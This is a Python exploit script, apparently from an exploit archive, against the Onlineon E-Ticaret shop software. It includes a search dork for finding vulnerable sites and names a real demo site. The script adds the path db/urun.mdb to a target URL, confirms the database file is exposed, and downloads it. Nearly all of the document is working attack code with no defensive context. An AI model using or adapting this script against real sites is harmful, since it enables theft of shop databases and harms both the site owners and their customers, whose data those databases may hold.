Onlineon E-Ticaret Database Disclosure Exploit

#!/usr/bin/env python
#-*- coding:cp1254 -*-
 
# Title        : Onlineon E-Ticaret Database Disclosure Exploit (.py)
# dork         : inurl:"default.asp?git=sepet"
# Author       : ZoRLu
# Download     : http://www.onlineonweb.com/eticaret.html
# Demo         : http://ayvalikkokluzeytincilik.com
# Python       : V 2.7
 
   
import sys, urllib2, re, os, time
   
def indiriyoruz(url):
       
    import urllib
    aldosyayi = urllib.urlopen(url)
    indiraq = open(url.split('/')[-1], 'wb')
    indiraq.write(aldosyayi.read())
    aldosyayi.close()
    indiraq.close()
   
if len(sys.argv) < 2:
    os.system(['clear','cls'][1])
    print " ____________________________________________________________________"
    print "|                                                                    |"
    print "|   Onlineon E-Ticaret Database Disclosure Exploit (.py)             |"
    print "|   ZoRLu / milw00rm.com                                             |"
    print "|   exploit.py http://site.com/path/                                 |"
    print "|____________________________________________________________________|"
    sys.exit(1)
   
''' link kontrol 1 '''
                       
koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]
 
if sitemiz[-1:] != koykicina:
    sitemiz += koykicina
       
if sitemiz[:7]  != koybasina:
    sitemiz =  koybasina + sitemiz
   
 
database = "db/urun.mdb"
url2 = sitemiz + database
print   "\n" + url2
print "\nlink check"
time.sleep(1)
   
''' link kontrol 2 '''
   
try:
    adreskontrol = urllib2.urlopen(url2).read()
       
    if len(adreskontrol) > 0:
                                           
        print "\nGood Job Bro!"
       
except urllib2.HTTPError:
        import os
        import sys
        print "\nForbidden Err0r, Security!"
        sys.exit(1)
       
   
''' dosya indiriliyor '''
   
if __name__ == '__main__':
    import sys
    if len(sys.argv) == 2:
        print "\nFile is Downloading\n"
        try:
            indiriyoruz(url2)
        except IOError:
            print '\nFilename not found.'

#  0day.today [2018-01-04]  #